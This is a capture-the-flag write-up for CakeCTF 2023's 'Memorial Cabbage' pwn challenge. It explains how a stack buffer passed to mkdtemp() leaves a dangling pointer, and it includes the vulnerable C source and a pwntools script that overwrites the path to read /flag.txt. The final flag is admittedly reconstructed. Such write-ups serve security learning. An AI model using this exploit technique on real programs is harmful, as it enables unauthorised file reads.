Memorial Cabbage [Cakectf 2023]

pwn
writeup by: sunbather

Challenge Description

Author: ptr-yudai Description: Memorial Cabbage Unit 3

Intuition

We can see the below source code for the challenge. It creates a temporary directory using template /tmp/cabbage.XXXXXX and then uses it to write a memo to it (/tmp/cabbage.XXXXXX/memo.txt).

However, what is interesting to notice in the manpage for mkdtemp() is that you’re supposed to give a modifiable buffer:

DESCRIPTION
       The  mkdtemp() function generates a uniquely named temporary directory from template.  The last six characters of template must be XXXXXX and these are replaced with a string that makes the directory name unique.  The directory is then created with permissions 0700.
       Since it will be modified, template must not be a string constant, but should be declared as a character array.

RETURN VALUE
       The mkdtemp() function returns a pointer to the modified template string on success, and NULL on failure, in which case errno is set appropriately.

The pointer returned by it will be pointing towards the buffer you gave it. If you give it a stack buffer (like in the source code provided), when the function frame is finished it should be out of scope and might get overwritten by other stack allocations. We can exploit this by writing as much content as we can until we hit the directory name that was saved on the stack, which is further used when reading/writing to the memo file. We can overwrite the directory name to /flag.txt\x00, which is smaller in size than strlen(TEMPDIR_TEMPLATE). This means that the second strcpy in both memo_r() and memo_w() won’t have an effect on our chosen filename, as it will copy /memo.txt somewhere after our filename and fopen will stop at the first NULL byte (provided by us in the filename).

Therefore, this should open /flag.txt and read the flag for us. We can find all the offsets needed in multiple ways, through calculating offsets by finding the addresses with GDB and then using simple substractions, or we can use De Bruijn sequences, etc.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}

Solution

#!/usr/bin/env python3

from pwn import *

offset_to_filename = 0xff0  # found with gdb

target = process("./cabbage")
#target = remote("memorialcabbage.2023.cakectf.com", 9001)

target.sendlineafter(b"> ", b"1")
target.sendlineafter(b"Memo: ", b"a" * offset_to_filename + b"/flag.txt\x00")

target.sendlineafter(b"> ", b"2")
target.interactive()

Flag

CakeCTF{.hidden_baby_we_eating_this_cabbage_cake}

(we lost the original flag lol and are writing this waaaay later)